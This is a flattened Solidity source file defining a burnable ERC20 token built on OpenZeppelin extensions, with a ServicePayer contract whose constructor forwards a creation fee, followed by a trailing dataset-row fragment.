// File: @openzeppelin/contracts/token/ERC20/extensions/ERC20Burnable.sol
pragma solidity ^0.8.0;
/**
* @dev Extension of {ERC20} that allows token holders to destroy both their own
* tokens and those that they have an allowance for, in a way that can be
* recognized off-chain (via event analysis).
*/
abstract contract ERC20Burnable is Context, ERC20 {
/**
* @dev Destroys `amount` tokens from the caller.
*
* See {ERC20-_burn}.
*/
function burn(uint256 amount) public virtual {
_burn(_msgSender(), amount);
}
/**
* @dev Destroys `amount` tokens from `account`, deducting from the caller's
* allowance.
*
* See {ERC20-_burn} and {ERC20-allowance}.
*
* Requirements:
*
* - the caller must have allowance for ``accounts``'s tokens of at least
* `amount`.
*/
function burnFrom(address account, uint256 amount) public virtual {
uint256 currentAllowance = allowance(account, _msgSender());
require(currentAllowance >= amount, "ERC20: burn amount exceeds allowance");
_approve(account, _msgSender(), currentAllowance - amount);
_burn(account, amount);
}
}
// File: contracts/token/ERC20/behaviours/ERC20Decimals.sol
pragma solidity ^0.8.0;
/**
* @title ERC20Decimals
* @dev Implementation of the ERC20Decimals. Extension of {ERC20} that adds decimals storage slot.
*/
abstract contract ERC20Decimals is ERC20 {
uint8 private immutable _decimals;
/**
* @dev Sets the value of the `decimals`. This value is immutable, it can only be
* set once during construction.
*/
constructor(uint8 decimals_) {
_decimals = decimals_;
}
function decimals() public view virtual override returns (uint8) {
return _decimals;
}
}
// File: contracts/service/ServicePayer.sol
pragma solidity ^0.8.0;
interface IPayable {
function pay(string memory serviceName) external payable;
}
/**
* @title ServicePayer
* @dev Implementation of the ServicePayer
*/
abstract contract ServicePayer {
constructor(address payable receiver, string memory serviceName) payable {
IPayable(receiver).pay{value: msg.value}(serviceName);
}
}
// File: contracts/token/ERC20/BurnableERC20.sol
pragma solidity ^0.8.0;
/**
* @title BurnableERC20
* @dev Implementation of the BurnableERC20
*/
contract BurnableERC20 is ERC20Decimals, ERC20Burnable, ServicePayer {
constructor(
string memory name_,
string memory symbol_,
uint8 decimals_,
uint256 initialBalance_,
address payable feeReceiver_
) payable ERC20(name_, symbol_) ERC20Decimals(decimals_) ServicePayer(feeReceiver_, "BurnableERC20") {
require(initialBalance_ > 0, "BurnableERC20: supply cannot be zero");
_mint(_msgSender(), initialBalance_);
}
function decimals() public view virtual override(ERC20, ERC20Decimals) returns (uint8) {
return super.decimals();
}
} | True | [
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1024,
2022,
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